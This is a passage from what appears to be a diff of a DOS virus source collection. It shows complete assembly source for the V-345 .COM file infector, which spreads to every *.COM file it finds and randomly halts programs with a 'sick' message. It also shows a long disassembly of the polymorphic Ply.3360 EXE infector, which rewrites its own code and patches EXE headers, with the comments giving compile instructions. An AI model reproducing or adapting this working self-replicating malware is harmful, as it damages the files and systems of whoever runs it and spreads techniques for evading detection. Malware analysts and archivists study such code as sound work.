mov cx,offset endcode - offset transf ;Code length
|
||||
xor di,di ;Move to ES:0
|
||||
rep movsb ;Do it
|
||||
|
||||
pop bx ; BX = old AX
|
||||
mov word ptr cs:[progbeg],0
|
||||
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
|
||||
jmp cs:[progbeg] ;Jump at program start
|
||||
|
||||
transf:
|
||||
push ds
|
||||
pop es
|
||||
mov si,offset endcode
|
||||
mov di,offset start
|
||||
mov cx,0FFFF ;Restore original program's code
|
||||
sub cx,si
|
||||
rep movsb
|
||||
mov word ptr cs:[start],offset start
|
||||
mov word ptr cs:[start+2],ds
|
||||
mov ax,bx
|
||||
jmp dword ptr cs:[start] ;Jump to program start
|
||||
endcode label byte
|
||||
|
||||
int 20 ;Dummy program
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
134
MSDOS/Virus.MSDOS.Unknown.pixel345.asm
Normal file
134
MSDOS/Virus.MSDOS.Unknown.pixel345.asm
Normal file
@ -0,0 +1,134 @@
|
||||
page ,132
|
||||
name V345
|
||||
title V-345 - a mutation of the V-845 virus
|
||||
.radix 16
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100
|
||||
|
||||
timer equ 6C
|
||||
olddta equ 80
|
||||
virlen = offset endcode - offset start
|
||||
newid = offset ident - offset start
|
||||
|
||||
start:
|
||||
jmp short virus
|
||||
|
||||
ident dw 'VI'
|
||||
counter db 0
|
||||
allcom db '*.COM',0
|
||||
progbeg dd ?
|
||||
eof dw ?
|
||||
newdta db 2C dup (?)
|
||||
fname equ offset newdta+1E
|
||||
|
||||
virus:
|
||||
push ax
|
||||
mov ax,cs ;Move program code
|
||||
add ax,1000 ; 64K bytes forward
|
||||
mov es,ax
|
||||
inc [counter]
|
||||
mov si,offset start
|
||||
xor di,di
|
||||
mov cx,virlen
|
||||
rep movsb
|
||||
|
||||
mov dx,offset newdta ;Set new Disk Transfer Address
|
||||
mov ah,1A ;Set DTA
|
||||
int 21
|
||||
mov dx,offset allcom ;Search for '*.COM' files
|
||||
mov cx,110b ;Normal, Hidden or System
|
||||
mov ah,4E ;Find First file
|
||||
int 21
|
||||
jc done ;Quit if none found
|
||||
|
||||
mainlp:
|
||||
mov dx,fname
|
||||
mov ax,3D02 ;Open file in Read/Write mode
|
||||
int 21
|
||||
mov bx,ax ; Save handle
|
||||
push es
|
||||
pop ds
|
||||
mov dx,virlen
|
||||
mov cx,0FFFF ;Read all bytes (64K max in .COM file)
|
||||
mov ah,3F ;Read from handle
|
||||
int 21 ;Bytes read in AX
|
||||
add ax,virlen
|
||||
mov cs:[eof],ax ;Save pointer to the end of file
|
||||
cmp ds:[newid+virlen],'VI' ;Infected?
|
||||
je close ;Go find next file if so
|
||||
|
||||
xor cx,cx ;Go to file beginning
|
||||
mov dx,cx
|
||||
mov ax,4200 ;LSEEK from the beginning of the file
|
||||
int 21
|
||||
jc close ;Leave this file if error occures
|
||||
|
||||
xor dx,dx ;Write the whole code (virus+file)
|
||||
mov cx,cs:[eof] ; back onto the file
|
||||
mov ah,40 ;Write to handle
|
||||
int 21
|
||||
|
||||
close:
|
||||
mov ah,3E ;Close the file
|
||||
int 21
|
||||
|
||||
push cs
|
||||
pop ds ;Restore DS
|
||||
mov ah,4F ;Find next matching file
|
||||
int 21
|
||||
jc done ;Exit if all found
|
||||
jmp mainlp ;Otherwise loop again
|
||||
|
||||
done:
|
||||
mov dx,olddta ;Restore old Disk Transfer Address
|
||||
mov ah,1A ;Set DTA
|
||||
int 21
|
||||
|
||||
cmp [counter],5 ;If counter goes above 5,
|
||||
jb progok ; the program becomes "sick"
|
||||
mov ax,40
|
||||
mov ds,ax ;Get the system timer value
|
||||
mov ax,word ptr [timer]
|
||||
push cs
|
||||
pop ds ;Restore DS
|
||||
and ax,1 ;At random (if timer value is odd)
|
||||
jz progok ; display the funny message
|
||||
mov dx,offset message
|
||||
mov ah,9 ;Print string
|
||||
int 21
|
||||
int 20 ;Terminate program
|
||||
|
||||
message db 'Program sick error:Call doctor or '
|
||||
db 'buy PIXEL for cure description',0A,0Dh,'$'
|
||||
|
||||
progok:
|
||||
mov si,offset transf ;Move this part of code
|
||||
mov cx,offset endcode - offset transf ;Code length
|
||||
xor di,di ;Move to ES:0
|
||||
rep movsb ;Do it
|
||||
|
||||
pop bx ; BX = old AX
|
||||
mov word ptr cs:[progbeg],0
|
||||
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
|
||||
jmp cs:[progbeg] ;Jump at program start
|
||||
|
||||
transf:
|
||||
push ds
|
||||
pop es
|
||||
mov si,offset endcode
|
||||
mov di,offset start
|
||||
mov cx,0FFFF ;Restore original program's code
|
||||
sub cx,si
|
||||
rep movsb
|
||||
mov word ptr cs:[start],offset start
|
||||
mov word ptr cs:[start+2],ds
|
||||
mov ax,bx
|
||||
jmp dword ptr cs:[start] ;Jump to program start
|
||||
endcode label byte
|
||||
|
||||
int 20 ;Dummy program
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
1187
MSDOS/Virus.MSDOS.Unknown.plastiq.asm
Normal file
1187
MSDOS/Virus.MSDOS.Unknown.plastiq.asm
Normal file
File diff suppressed because it is too large
Load Diff
1126
MSDOS/Virus.MSDOS.Unknown.plastiqe.asm
Normal file
1126
MSDOS/Virus.MSDOS.Unknown.plastiqe.asm
Normal file
File diff suppressed because it is too large
Load Diff
1266
MSDOS/Virus.MSDOS.Unknown.playgam.asm
Normal file
1266
MSDOS/Virus.MSDOS.Unknown.playgam.asm
Normal file
File diff suppressed because it is too large
Load Diff
BIN
MSDOS/Virus.MSDOS.Unknown.playit.tpu
Normal file
BIN
MSDOS/Virus.MSDOS.Unknown.playit.tpu
Normal file
Binary file not shown.
1013
MSDOS/Virus.MSDOS.Unknown.plumbum.asm
Normal file
1013
MSDOS/Virus.MSDOS.Unknown.plumbum.asm
Normal file
File diff suppressed because it is too large
Load Diff
836
MSDOS/Virus.MSDOS.Unknown.ply_3360.asm
Normal file
836
MSDOS/Virus.MSDOS.Unknown.ply_3360.asm
Normal file
@ -0,0 +1,836 @@
|
||||
comment *
|
||||
Ply.3360
|
||||
Disassembly by
|
||||
Darkman/VLAD
|
||||
|
||||
Ply.3360 is a 3360 bytes parasitic direct action EXE virus. Infects every
|
||||
file in current directory, when executed, by appending the virus to the
|
||||
infected file. Ply.3360 is polymorphic in file using its internal
|
||||
polymorphic engine.
|
||||
|
||||
To compile Ply.3360 with Turbo Assembler v 4.0 type:
|
||||
TASM /m PLY_3360.ASM
|
||||
TLINK /t /x PLY_3360.OBJ
|
||||
*
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h ; Origin of Ply.3360
|
||||
|
||||
code_begin:
|
||||
delta_offset equ $+01h ; Delta offset
|
||||
mov bp,100h ; BP = delta offset
|
||||
poly_begin:
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
mov es,ax ; ES = " "
|
||||
nop
|
||||
|
||||
mov ax,100h ; AX = offset of beginning of code
|
||||
sub bp,ax ; Subtract offset of beginning of ...
|
||||
nop
|
||||
|
||||
sti ; Set interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
cld ; Clear direction flag
|
||||
nop
|
||||
nop
|
||||
|
||||
lea si,code_begin ; SI = offset of code_begin
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
mov cx,(poly_end-poly_begin)/03h
|
||||
poly_loop:
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
and al,00000111b ; AL = random number between zero ...
|
||||
nop
|
||||
|
||||
push cx ; Save CX at stack
|
||||
nop
|
||||
nop
|
||||
push si ; Save SI at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
cmp al,00h ; Prepend a NOP to the opcode?
|
||||
nop
|
||||
jne test_append ; Not equal? Jump to test_append
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
je dont_poly ; Equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov al,[si+02h] ; AL = third byte of three-byte block
|
||||
cmp al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
jne dont_poly ; Not equal? Jump to dont_poly
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx+01h],ax ; Store first word of three-bytes ...
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8 ; Equal? Jump to dec_imm8
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne prepend_nop ; Not equal? Jump to prepend_nop
|
||||
nop
|
||||
dec_imm8:
|
||||
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
|
||||
prepend_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx],al ; Prepend a NOP to the opcode
|
||||
nop
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly:
|
||||
jmp test_loop
|
||||
test_append:
|
||||
cmp al,01h ; Append a NOP to the opcode?
|
||||
nop
|
||||
jne test_create ; Not equal? Jump to test_create
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne dont_poly_ ; Not equal? Jump to dont_poly_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = second word of three-bytes ...
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],ax ; Store second word of three-bytes...
|
||||
nop
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8_ ; Equal? Jump to dec_imm8_
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne append_nop ; Not equal? Jump to append_nop
|
||||
nop
|
||||
dec_imm8_:
|
||||
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
|
||||
append_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx+02h],al ; Append a NOP to the opcode
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly_:
|
||||
jmp test_loop
|
||||
test_create:
|
||||
cmp al,02h ; Create a CALL imm16 to the opcode?
|
||||
nop
|
||||
jne delete_call ; Not equal? Jump to delete_call
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_call ; Not equal? Jump to create_call
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_call:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,50h ; PUSH reg16/POP reg16?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
stosb ; Store RET
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a CALL imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
call_exit:
|
||||
jmp test_loop
|
||||
delete_call:
|
||||
cmp al,03h ; Delete previously created CALL i...
|
||||
nop
|
||||
jne test_create_ ; Not equal? Jump to test_create_
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
|
||||
nop
|
||||
jne call_exit_ ; Not equal? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb call_exit_ ; Below? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
call_exit_:
|
||||
jmp test_loop
|
||||
test_create_:
|
||||
cmp al,04h ; Create a JMP imm16 to the opcode?
|
||||
nop
|
||||
jne delete_jmp ; Not equal? Jump to delete_jmp
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_jmp ; Not equal? Jump to create_jmp
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_jmp:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
stosb ; Store JMP imm16
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
neg ax ; Negate AX
|
||||
nop
|
||||
sub ax,02h ; Subtract two from 16-bit immediate
|
||||
stosw ; Store 16-bit immediate
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a JMP imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
jmp_exit:
|
||||
jmp test_loop
|
||||
nop
|
||||
delete_jmp:
|
||||
cmp al,05h ; Delete previously created JMP im...
|
||||
nop
|
||||
jne test_loop ; Not equal? Jump to test_loop
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb jmp_exit_ ; Below? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
jmp_exit_:
|
||||
jmp test_loop
|
||||
nop
|
||||
test_loop:
|
||||
pop si ; Load SI from stack
|
||||
nop
|
||||
nop
|
||||
pop cx ; Load CX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,03h ; AX = size of block
|
||||
add si,ax ; SI = offset of next three-byte b...
|
||||
nop
|
||||
|
||||
dec cx ; Decrease CX
|
||||
nop
|
||||
nop
|
||||
jz poly_exit ; Zero? Jump to poly_exit
|
||||
nop
|
||||
|
||||
jmp poly_loop
|
||||
poly_exit:
|
||||
jmp prepare_exit
|
||||
nop
|
||||
|
||||
get_poly_off proc near ; Get random offset of polymorphic...
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov ah,al ; AH = " " "
|
||||
nop
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov di,ax ; DI = 16-bit random number
|
||||
nop
|
||||
mov ax,(poly_end-poly_begin)/03h
|
||||
get_rnd_num:
|
||||
sub di,ax ; Subtract number of polymorphic b...
|
||||
nop
|
||||
cmp di,ax ; Too large a 16-bit random number?
|
||||
nop
|
||||
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = 16-bit random number within...
|
||||
nop
|
||||
|
||||
add di,ax ; Add number of polymorphic blocks
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
|
||||
lea ax,poly_blocks ; AX = offset of poly_blocks
|
||||
add di,ax ; Add offset of poly_blocks to ran...
|
||||
nop
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
cmp [di],ax ; Offset already in use?
|
||||
nop
|
||||
jne get_poly_off ; Not equal? Jump to get_poly_off
|
||||
nop
|
||||
|
||||
ret ; Return!
|
||||
nop
|
||||
nop
|
||||
endp
|
||||
prepare_exit:
|
||||
lea si,file_header ; SI = offset of file_header
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
lea di,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov ax,[si+14h] ; AX = instruction pointer
|
||||
stosw ; Store instruction pointer
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+16h] ; AX = code segment
|
||||
stosw ; Store code segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+0eh] ; AX = stack segment
|
||||
stosw ; Store stack segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+10h] ; AX = stack pointer
|
||||
stosw ; Store stack pointer
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,1ah ; Set disk transfer area address
|
||||
nop
|
||||
lea dx,dta ; DX = offset of dta
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
mov di,dx ; DI = offset of dta
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,4eh ; Find first matching file
|
||||
nop
|
||||
mov cx,0000000000000111b
|
||||
lea dx,file_specifi ; DX = offset of file_specifi
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
find_next:
|
||||
int 21h
|
||||
nop
|
||||
jnc open_file ; No error? Jump to open_file
|
||||
nop
|
||||
|
||||
jmp virus_exit
|
||||
open_file:
|
||||
mov ax,3d00h ; Open file (read)
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
nop
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
mov cx,1ah ; Read twenty-six bytes
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,'ZM' ; EXE signature
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
|
||||
xchg ah,al ; Exchange EXE signature
|
||||
nop
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
jmp_find_nxt:
|
||||
mov ah,4fh ; Find next matching file
|
||||
nop
|
||||
|
||||
jmp find_next
|
||||
nop
|
||||
examine_file:
|
||||
mov ax,2020h
|
||||
cmp [si+12h],ax ; Already infected?
|
||||
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
|
||||
nop
|
||||
|
||||
mov ax,4301h ; Set file attributes
|
||||
xor cx,cx ; CX = new file attributes
|
||||
nop
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,3d02h ; Open file (read/write)
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4202h ; Set current file position (EOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
nop
|
||||
mov cx,(code_end-code_begin)
|
||||
lea dx,code_begin ; DX = offset of code_begin
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,[si+08h] ; AX = header size in paragraphs
|
||||
mov cl,04h ; Multiply by paragraphs
|
||||
nop
|
||||
shl ax,cl ; AX = header size
|
||||
nop
|
||||
push bx ; Save BX at stack
|
||||
nop
|
||||
nop
|
||||
xchg ax,bx ; BX = header size
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,[di+1ah] ; AX = low-order word of filesize
|
||||
mov dx,[di+1ch] ; DX = high-order word of filesize
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
push dx ; Save DX at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
sub ax,bx ; Subtract header size from filesize
|
||||
nop
|
||||
sbb dx,00h ; Convert to 32-bit
|
||||
mov cx,10h
|
||||
div cx ; Divide by paragraphs
|
||||
nop
|
||||
mov [si+14h],dx ; Store instruction pointer
|
||||
mov [si+16h],ax ; Store code segment
|
||||
|
||||
lea bx,delta_offset ; BX = offset of delta_offset
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],dx ; Store delta offset
|
||||
nop
|
||||
|
||||
inc ax ; Increase AX
|
||||
nop
|
||||
nop
|
||||
mov [si+0eh],ax ; Store stack segment
|
||||
|
||||
mov ax,(code_end-code_begin+100h)
|
||||
add dx,ax ; DX = stack pointer
|
||||
nop
|
||||
mov [si+10h],dx ; Store stack pointer
|
||||
|
||||
mov ax,2020h ; AX = infection mark
|
||||
mov [si+12h],ax ; Store infection mark
|
||||
|
||||
pop dx ; Load DX from stack
|
||||
nop
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
add ax,(code_end-code_begin)
|
||||
adc dx,00h ; Convert to 32-bit
|
||||
|
||||
mov cl,09h
|
||||
nop
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
shr ax,cl ; Multiply by pages
|
||||
nop
|
||||
ror dx,cl ; " " "
|
||||
nop
|
||||
stc ; Set carry flag
|
||||
nop
|
||||
nop
|
||||
adc dx,ax ; DX = total number of 512-bytes p...
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
and ah,00000001b
|
||||
mov [si+04h],dx ; Store totalt number of 512-bytes...
|
||||
mov [si+02h],ax ; Number of bytes in last 512-byte...
|
||||
pop bx ; Load BX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4201h ; Set current file position (CFP)
|
||||
mov cx,-01h
|
||||
mov dx,-(code_end-delta_offset)
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
nop
|
||||
mov cx,02h ; Write two bytes
|
||||
lea dx,delta_offset ; DX = offset of delta_offset
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,4200h ; Set current file position (SOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
nop
|
||||
mov cx,1ah ; Write twenty-six bytes
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,5701h ; Set file's date and time
|
||||
mov cx,[di+16h] ; CX = file time
|
||||
mov dx,[di+18h] ; DX = file date
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,4301h ; Set file attributes
|
||||
mov ch,00h ; Zero CH
|
||||
nop
|
||||
mov cl,[di+15h] ; CL = file attribute
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,4fh ; Find next matching file
|
||||
nop
|
||||
|
||||
jmp find_next
|
||||
virus_exit:
|
||||
mov ah,62h ; Get current PSP address
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
mov es,bx ; ES = segment of PSP for current ...
|
||||
nop
|
||||
|
